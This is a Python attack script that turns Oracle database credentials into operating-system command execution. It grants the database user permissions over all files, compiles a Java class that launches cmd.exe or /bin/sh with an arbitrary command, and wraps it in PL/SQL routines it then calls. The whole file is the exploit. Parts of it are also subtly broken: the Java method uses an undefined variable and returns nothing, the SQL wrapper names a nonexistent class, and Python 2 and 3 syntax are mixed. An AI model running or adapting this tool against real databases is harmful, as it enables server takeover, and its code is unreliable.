#!/usr/bin/env python # -*- coding: utf-8 -*- # File: ora_exec_cmd.py # Author: Persuit import getopt import sys import cx_Oracle def usage(): print('Usage: python %s [options]' % sys.argv[0]) print('') print('Options:') print(' -h HOST, --host=HOST target server address') print(' -u USER, --user=USER Username') print(' -p PASS, --pass=PASS Password') print(' -s SID, --sid=SID Target Sid Name') print(' -P PORT, --port=PORT Oracle Port') #print(' -b BYPASS, --bypass=BYPASS Bypass Creation Of Evil Functions') print(' -c COMMAND, --command=COMMAND COMMAND') def connectDB(host = '',user = '',passwd = '',sid = '',port = 1521): try: connstr = '%s/%s@%s:%d/%s' % (user,passwd,host,int(port),sid) conn=cx_Oracle.connect(connstr) except cx_Oracle.DatabaseError as e: print str(e) sys.exit(-1) return conn def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'h:u:p:s:P:c:', ['host=', 'user=', 'passwd=', 'sid=', 'port=', 'command=']) except getopt.GetoptError as e: print('[-] %s' % (str(e))) usage() sys.exit(2) host = '' user = '' passwd = '' sid = '' port = 1521 command = '' for o, a in opts: if o in ('-h', '--host'): host = a elif o in ('-u','--user'): user = a elif o in ('-p','--passwd'): passwd = a elif o in ('-s','--sid'): sid = a elif o in ('-P','--port'): port = a elif o in ('-c','--command'): command = a else: pass if not host: print ('[!] host not be empty !') usage() sys.exit(2) elif not user: print ('[!] username not be empty!') usage() sys.exit(2) elif not passwd: print ('[!] password not be empty!') usage() sys.exit(2) elif not sid: print ('[!] sid not be empty!') usage() sys.exit(2) elif not command: print ('[!] command not be empty!') usage() sys.exit(2) #conn = connectDB('127.0.0.1','Oracle','123456','sdfsdf','dbtest',1521) conn = connectDB(host,user,passwd,sid,port) cursor = conn.cursor() print ("[-] Setting permissions...\n") setpermission = ''' BEGIN dbms_java.grant_Permission('{0}', 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete'); dbms_java.grant_Permission('{0}', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); dbms_java.grant_Permission('{0}', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); END;'''.format(user.upper()) cursor.execute(setpermission) #conn.commit() print ("[-] Creating Java class...\n") createjava = '''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String run_cmd(String args) {try {String[] fCmd;if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {fCmd = new String[3];fCmd[0] = "C:\\\\windows\\\\system32\\\\cmd.exe";fCmd[1] = "/c";fCmd[2] = command;}else {fCmd = new String[3];fCmd[0] = "/bin/sh";fCmd[1] = "-c";fCmd[2] = command;}final Process pr = Runtime.getRuntime().exec(fCmd);pr.waitFor();new Thread(new Runnable(){public void run() {BufferedReader br_in = null;try {br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));String buff = null;while ((buff = br_in.readLine()) != null) {System.out.println(buff);try {Thread.sleep(100); } catch(Exception e) {}}br_in.close();}catch (IOException ioe) {System.out.println("Exception caught printing process output.");ioe.printStackTrace();}finally { try { br_in.close(); } catch (Exception ex) {} }}}).start();new Thread(new Runnable(){public void run() {BufferedReader br_err = null;try {br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));String buff = null;while ((buff = br_err.readLine()) != null) {System.out.println("Error: " + buff);try {Thread.sleep(100); } catch(Exception e) {}}br_err.close();}catch (IOException ioe) {System.out.println("Exception caught printing process error.");ioe.printStackTrace();}finally { try { br_err.close(); } catch (Exception ex) {} }}}).start();}catch (Exception ex){System.out.println(ex.getLocalizedMessage());}}};''' cursor.execute(createjava) print ("[-] Creating function...\n") creatfunc = '''create or replace function run_cmd( p_cmd in varchar2) return number as language java name 'Util.runthis(java.lang.String) return integer';''' cursor.execute(creatfunc) print ("[-] Creating procedure...\n") creatproc = '''create or replace procedure rc(p_cmd in varchar2) as x number; begin x := run_cmd(p_cmd);end;''' cursor.execute(creatproc) print ("[-] Exec cmd...\n") cmd = '''DECLARE l_output DBMS_OUTPUT.chararr; l_lines INTEGER := 1000; begin DBMS_OUTPUT.enable(1000000); DBMS_JAVA.SET_OUTPUT(1000000); rc('{0}'); DBMS_OUTPUT.get_lines(l_output, l_lines); FOR i IN 1 .. l_lines LOOP DBMS_OUTPUT.put_line(l_output(i)); NULL; END LOOP; end;'''.format(command) cursor.execute(cmd) print ("[-] Drop function...\n") dropfunc = '''BEGIN drop function run_cmd; END;''' cursor.execute(dropfunc) cursor.close() conn.close() if __name__ == '__main__': main()